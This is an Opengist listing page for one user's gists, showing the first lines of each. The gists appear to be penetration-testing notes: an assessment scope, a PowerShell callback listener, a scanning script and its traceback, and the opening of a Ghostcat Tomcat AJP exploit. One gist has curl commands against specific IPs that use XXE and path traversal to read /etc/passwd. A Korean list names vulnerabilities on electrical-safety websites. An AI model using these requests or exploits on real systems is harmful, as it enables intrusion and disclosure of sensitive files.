All New

Login

All gists

sehoon0519 / gistfile1.txt

0 likes

0 forks

1 files

Last active 1 month ago

1	Trilocor Robotics Ltd. (“Trilocor” herein) invited you to a private assessment to perform a targeted Web Application Penetration Test of Trilocor’s externally facing web applications to identify high-risk security weaknesses, determine the impact to Trilocor, document all findings in a clear and repeatable manner, and provide remediation recommendations.
2	The following types of findings are in-scope for this assessment:
3
4	* Sensitive or personally identifiable information disclosure
5
6	* Cross-Site Scripting (XSS)
7
8	* Remote Code Execution (RCE)
9
10	* Arbitrary file upload

sehoon0519 / pwsh

0 likes

0 forks

1 files

Last active 4 months ago

1	$listener = [System.Net.Sockets.TcpListener]::new([Net.IPAddress]::Any,1389)
2	$listener.Start()
3	Write-Host "[+] Listening on 0.0.0.0:1389"
4	while ($true) {
5	$client = $listener.AcceptTcpClient()
6	$remote = $client.Client.RemoteEndPoint.ToString()
7	$ts = (Get-Date).ToUniversalTime().ToString("s") + "Z"
8	Write-Host "[$ts] Hit from $remote"
9	try {
10	$stream = $client.GetStream()

sehoon0519 / webshot2.py

0 likes

0 forks

1 files

Last active 4 months ago

1	import argparse
2	import asyncio
3	import csv
4	import json
5	import random
6	import re
7	from datetime import datetime
8	from pathlib import Path
9	import xml.etree.ElementTree as ET
10	from typing import List, Tuple, Dict, Optional, Set

sehoon0519 / gist:ec4fc8d236e4478c8ce6c3b5df482c4e

0 likes

0 forks

1 files

Last active 4 months ago

1	(.venv) C:\Users\USER\Desktop\20250922>python webshot.py C:\Users\USER\Desktop\20250922\scan\113.10.2.0.txt
2	C:\Users\USER\Desktop\20250922\webshot.py:225: SyntaxWarning: invalid escape sequence '\_'
3	"""
4	Targets: 52 open TCP ports across 8 hosts; Concurrency=6; Timeout=10000ms
5	Traceback (most recent call last):
6	File "C:\Users\USER\Desktop\20250922\webshot.py", line 407, in <module>
7	main()
8	File "C:\Users\USER\Desktop\20250922\webshot.py", line 400, in main
9	asyncio.run(run(input_paths, concurrency=args.concurrency, timeout_ms=args.timeout, base_dir=base_dir))
10	File "C:\Users\USER\AppData\Local\Programs\Python\Python312\Lib\asyncio\runners.py", line 194, in run

sehoon0519 / gist:137889421b8041bd8ab13c176b608e4c

0 likes

0 forks

1 files

Last active 4 months ago

1	curl "http://112.k.l.m:18800/ndap/bypass?proxyUrl=http://proxy2.jst.com:18808/jobconf?jobid=job_1482303181045_0001&conf_file=true&xinclude=true&name=xinclude&value=%3C!DOCTYPE%20foo%20[%3C!ENTITY%20xxe%20SYSTEM%20%22file:///etc/passwd%22%3E]%3E%3Cfoo%3E%26xxe;%3C/foo%3E"
2
3	curl "http://112.164.247.110:18800/ndap/bypass?proxyUrl=http://proxy2.jst.com:19888/jobhistory/logs/localhost:8041/container_1482303181045_0001_01_000001/application_1482303181045_0001/ndap/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

sehoon0519 / ghostcat.py

0 likes

0 forks

1 files

Last active 4 months ago

1	#!/usr/bin/env python
2	#CNVD-2020-10487 Tomcat-Ajp lfi
3	#by ydhcui
4	import struct
5
6	# Some references:
7	# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
8	def pack_string(s):
9	if s is None:
10	return struct.pack(">h", -1)

sehoon0519 / 전기안전 시연 목록

0 likes

0 forks

1 files

Last active 5 months ago

1	대표홈페이지-불충분 권한검증
2	sch_bbs_code=CCC00003&printList%5B%5D=3151620&bbscmtt_seq=
3
4
5	전기안전여기로-불충분 인증절차
6	로그인페이지 admin 계정
7
8
9	전기안전종합정보시스템-XSS
10	https://www.kes.go.kr/web/lay1/bbs/S1T157C159/A/1/list.do

sehoon0519 / gist:fdf50b8dacf44bfda2fad12af715c6e3

0 likes

0 forks

1 files

Last active 5 months ago

Newer Older

Powered by Opengist ⋅ Load: 268ms⋅

English